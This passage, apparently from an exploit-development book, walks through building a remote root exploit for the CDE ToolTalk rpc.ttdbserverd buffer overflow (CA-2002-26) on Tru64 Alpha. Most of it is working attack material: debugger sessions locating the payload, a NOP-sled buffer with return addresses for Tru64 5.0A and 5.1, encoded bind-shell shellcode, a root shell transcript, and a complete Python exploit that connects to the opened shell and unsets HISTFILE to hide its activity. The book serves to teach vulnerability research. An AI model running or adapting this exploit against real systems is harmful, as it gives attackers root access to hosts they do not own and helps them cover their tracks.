| ||
We conclude the chapter by discussing the steps taken to assemble the exploit for the CA-2002-26 Buffer Overflow in CDE ToolTalk.
The overflow is in the _TT_CREATE_FILE procedure of the rpc.ttdbserver daemon. The file name that is unpacked from the RPC packet is copied into a static buffer of 1024 bytes, overwriting the saved program counter. It should be noted that this vulnerability behaves differently on other architectures; for example, exploitation in Solaris leads to a heap overflow, unlike the stack overflow in Tru64. Further information regarding the vulnerability can be obtained by visiting this book's Web site ( www. wiley .com/compbooks/koziol ).
In order to reproduce the vulnerability, we should write the proof of concept code that will pack the data structure and call the vulnerable RPC procedure. So, we start writing the exploit without knowing much about the layout of the stack and other minor stuff. After putting together a simple RPC client that calls the _TT_CREATE_FILE procedure with a filename longer than 1024, we should get a / core file in return without much hassle. In our lab environment we started with writing this simple exploit that sends 1024 A characters followed by the quadword 0xdedeadcaf0 . Running the exploit produced a core file as expected, but our initial gdb sessions show that we have alignment problems. The location of the return address is incorrect; we needed to add six more characters at the end of our large AAAA. . . buffer. After running with the new alignment setup, gdb produced the following lovely output:
bash# file /core /core: core dump, generated from 'rpc.ttdbserverd' bash# gdb dt/bin/rpc.ttdbserverd /core GNU gdb 5.3 .... etc etc. Reading symbols from /usr/shlib/libexc.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libexc.so warning: Hit heuristic-fence-post without finding warning: enclosing function for address 0xdedeadcaf0 This warning occurs if you are debugging a function without any symbols (for example, in a stripped executable). In that case, you may wish to increase the size of the search with the `set heuristic-fence-post' command. Otherwise, you told GDB there was a function where there isn't one, or (more likely) you have encountered a bug in GDB. #0 0x000000dedeadcaf0 in ?? () (gdb) info reg v0 0x0 0 t0 0x0 0 t1 0x3ffc0087b80 4396973325184 t2 0x3ffc0087bb0 4396973325232 t3 0xa80 2688 t4 0x0 0 t5 0x0 0 t6 0x3ffc0087b80 4396973325184 t7 0x1 1 s0 0x11fff9848 4831811656 s1 0x11fff9858 4831811672 s2 0x1 1 s3 0x3ff80c528d0 4395911948496 s4 0x120014c30 4831923248 s5 0x140033b60 5368920928 fp 0x8 8 a0 0x11fff9368 4831810408 a1 0x1 1 a2 0xffffffffffffffeb -21 a3 0x1 1 a4 0x1 1 a5 0x1 1 t8 0x140037300 5368935168 t9 0x0 0 t10 0x0 0 t11 0xdedeadca 3739135434 ra 0xdedeadcaf0 957218671344 t12 0x3ff80ca5aa0 4395912288928 at 0xdedeadca 3739135434 gp 0x3ffc0367380 4396976337792 sp 0x11fff97d0 4831811536 zero 0x0 0 fpcr 0x0 0 pc 0xdedeadcaf0 957218671344 vfp 0x0 0
As you can see, we were able to gain exact control of the program counter without much trouble. Next, we modified our exploit by adding nop opcode bytes instead of the A characters, and appended the bind shell shellcode at the end of the 1024-byte block. Here is how we managed our exploit buffer:
expbuf = "\x1f\x04\xff\x47" * ((1024-len(shellcode)) / 4) +\ shellcode + "123456" + retaddr
1024 bytes minus the shellcode size divided by 4 is the number of nop opcode bytes that can fit into the exploit buffer. That is followed by the shellcode, alignment bytes, and the return address. We run the exploit once again with the same return address and debug the core, this time to locate our payload. We search the address space starting from the end of the data section toward the process heap, with the hope of locating the overflow payload somewhere in the heap.
(gdb) set $l = 0x0140000000 (gdb)while $l != 0x47ff041f >set $l = $l + 1 >end (gdb) x/x $l 0x140035500: 0x47ff041f (gdb) x/40x $l 0x140035500: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035510: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035520: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035530: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035540: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035550: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035560: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035570: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035580: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f 0x140035590: 0x47ff041f 0x47ff041f 0x47ff041f 0x47ff041f (gdb) x/i $l 0x140035500: nop
Success. We were lucky enough to locate a copy of the overflow payload in the heap segment, thus enabling ourselves with execution rights (unlike the payload being on the stack, which would have been useless). After locating the nop opcodes, we can safely choose an address within the payload, most efficiently somewhere in the middle to use as the return address. We picked 0x01400355a8 for Tru64 5.0A, which ended up being a perfect choice, because we found high reliability with this return address. For Tru64 5.1, 0x0140037580 was a good pick.
We also advise you to shift through the overflow payload and look for corruptions that might lead to problems during nop or shellcode execution.
The following code shows the start of the XOR decoder located in the heap location that we discovered .
(gdb) x/20i 0x140035500 + 1024 280 0x1400357e8: nop 0x1400357ec: nop 0x1400357f0: lda a0,-1000(sp) 0x1400357f4: addq a0,0x30,a2 0x1400357f8: mov 0x86,a1 0x1400357fc: stl a1,-4(a0) 0x140035800: stl a1,-4(a2) 0x140035804: bsr a0,0x1400357f4 0x140035808: addq a0,0xf8,a5 0x14003580c: addq a0,0x34,a4 0x140035810: addq zero,0xc4,a3 0x140035814: ldl a1,-4(a5) 0x140035818: addq a0,0x30,a0 0x14003581c: ldl a2,-4(a4) 0x140035820: subq a3,0x4,a3 0x140035824: xor a2,a1,a2 0x140035828: stl a2,-4(a4) 0x14003582c: addq a4,0x4,a4 0x140035830: bne a3,0x14003581c 0x140035834: .long 0x41414141
Everything seems pretty well-aligned, with no corruptions on the payload. Finally, successful exploitation was achieved without any further challenges.
# python ttdb_exp.py 192.168.10.44 6868 0 attacking 192.168.10.44 ... after 4-5 seconds hit ctrl+C, since rpc.py did not implemented timeouts yet. lame i know! trying backdoor ... OSF1 elnoir.alpha V5.0 910 alpha unset HISTFILE id uid=0(root) gid=0(system) ...
Let's take a final look at the completed exploit.
# noir@olympos.org # Tru64 5.0 5.1 rpc.ttdbserverd remote exploit import socket import os import xdr import rpc from rpc import Packer, Unpacker, TCPClient import sys import struct import telnetlib class TTDBException(Exception): def __init__(self, args=None): self.args = args def __str__(self): return `self.args` class TTDB_Packer(Packer): def pack_ttdb_create_req(self, buf): #file self.pack_string(buf) self.pack_uint(0) #string #self.pack_string('') #array #self.pack_uint(0) #self.pack_string("\x01") self.pack_uint(0) self.pack_uint(1) self.pack_uint(777) class TTDB_Client(TCPClient): def __init__(self, target): self.ttdb_d = { "PROGNUM": 100083, "VERSNUM": 1, "ISCREATE": 103 } TCPClient.__init__(self, target, self.ttdb_d["PROGNUM"],\ self.ttdb_d["VERSNUM"]) def addpackers(self): self.packer = TTDB_Packer() def mkcred(self): import random self.cred = rpc.AUTH_UNIX, rpc.make_auth_unix(random.randint(1,99999),\ "localhost", 0, 0, []) return self.cred def iscreate(self, buf): return self.make_call(self.ttdb_d["ISCREATE"], buf,\ self.packer.pack_ttdb_create_req,\ None) class TTDBExploit(TTDB_Client): def __init__(self, target="", buf="", timeout = 5): self.tm = timeout self.target = target self.buf = buf def set_target(self, ip): try: self.target = socket.gethostbyname(ip) except socket.gaierror, err: raise TTDBException, "TTDBExploit, Host: " + ip + " " + err[1] def get_target(self): return self.target def set_buf(self, buf): self.buf = buf def get_buf(self): return self.buf def set_timeout(self, tm): self.tm = tm def get_timeout(self): return self.tm def setup(self): try: TTDB_Client.__init__(self, self.target) except (socket.error, RuntimeError), self.err: raise TTDBException, str(self.err) def run(self): try: self.iscreate(self.buf) except: pass if __name__ == "__main__": usage = """\nUsage: ttdb_exp.py targethost bdport version [offset] bdport: port number for bind a shell version: 0 => Tru64 UNIX V5.0A version: 1 => Tru64 UNIX V5.1 ./ttdb_exp 172.16.1.23 6666 0 """ shellcode =\ "\x18\xfc\x1e\x22"+\ "\x12\x14\x06\x42"+\ "\x11\xd4\xf0\x47"+\ "\xfc\xff\x30\xb2"+\ "\xfc\xff\x32\xb2"+\ "\xfb\xff\x1f\xd2"+\ "\x15\x14\x1f\x42"+\ "\x14\x94\x06\x42"+\ "\x13\x94\xf8\x43"+\ "\xfc\xff\x35\xa2"+\ "\x10\x14\x06\x42"+\ "\xfc\xff\x54\xa2"+\ "\x33\x95\x60\x42"+\ "\x12\x08\x51\x46"+\ "\xfc\xff\x54\xb2"+\ "\x14\x94\x80\x42"+\ "\xfa\xff\x7f\xf6"+\ "\x41\x41\x41\x41"+\ "\x96\x79\x49\xcf"+\ "\x82\x1c\x9b\xca"+\ "\x83\x1c\x9d\xca"+\ "\x80\x88\x76\x3f"+\ "\x85\x9c\x9f\xca"+\ "\x88\x88\x36\x3d"+\ "\x88\xbc\x64\xcb"+\ "\x98\xdc\x68\xcb"+\ "\x99\xbc\x68\xcb"+\ "\x9a\x8c\x77\xcf"+\ "\x0b\x88\x88\x88"+\ "\x81\x8c\x88\xcc"+\ "\x98\x8c\xa1\xcd"+\ "\x99\x8c\xc2\xcd"+\ "\x88\x9c\x65\xcb"+\ "\x9a\x9c\x6a\xcb"+\ "\x0b\x88\x88\x88"+\ "\x98\x8c\xa1\xcd"+\ "\x9a\x3c\x68\xcb"+\ "\x88\xdc\x65\xcb"+\ "\x0b\x88\x88\x88"+\ "\x99\x8c\x77\xcf"+\ "\x98\x8c\xa1\xcd"+\ "\x9a\x8c\xe3\xcd"+\ "\x88\xfc\x64\xcb"+\ "\x0b\x88\x88\x88"+\ "\x84\x8c\x88\xcc"+\ "\x83\xdc\x68\xcb"+\ "\x98\x8c\x04\xcd"+\ "\x99\x8c\xe3\xcd"+\ "\x88\xdc\x63\xcb"+\ "\x0b\x88\x88\x88"+\ "\xa3\xbd\xe8\xc9"+\ "\x72\x77\xf7\x71"+\ "\x98\x8c\x25\xcd"+\ "\x99\x8c\x56\xcf"+\ "\x88\xfc\x6f\xcb"+\ "\x9a\x8c\x77\xcf"+\ "\x0b\x88\x88\x88"+\ "\x8a\x88\x97\x18"+\ "\x88\x88\x88\x88"+\ "\x88\x88\x88\x88"+\ "\x88\x88\x88\x88"+\ "\x98\x88\x88\x88"+\ "\x88\x88\x88\x88"+\ "\x88\x88\x88\x88"+\ "\xa7\xa7\xea\xe1"+\ "\xe6\xa7\xfb\xe0"+\ "\x88\x88\x88\x88"+\ "\x88\x88\x88\x88" if len(sys.argv) < 4: print usage sys.exit(0) offset = 0 if len(sys.argv) == 5: offset += int(sys.argv[4], 10) version = int(sys.argv[3],10) if version != 0 and version != 1: print usage sys.exit(-1) port = int(sys.argv[2], 10) #bind shell port port = port ^ 0x8888 shellcode = shellcode[:230] + struct.pack(">h", port) + shellcode[232:] if not version: retaddr = struct.pack("<Lb", 0x400355a8+offset, 0x01) #5.0A #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value else: retaddr = struct.pack("<Lb", 0x40037580+offset, 0x01) #5.1 #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value expbuf = "\x1f\x04\xff\x47" * ((1024-len(shellcode)) / 4) +\ shellcode + "123456" + retaddr ttdb = TTDBExploit(sys.argv[1], expbuf) print "attacking "+ttdb.get_target()+" ..." print "after 4-5 seconds hit ctrl+C, since rpc.py did not"+\ " implemented timeouts yet. lame i know!" ttdb.setup() ttdb.run() try: print "trying backdoor ..." t = telnetlib.Telnet(sys.argv[1], int(sys.argv[2], 10)) t.write("unset HISTFILE;uname -a;\n") print "\n" t.interact() t.close() except socket.error: print "not successful!, try again" sys.exit(1)
| ||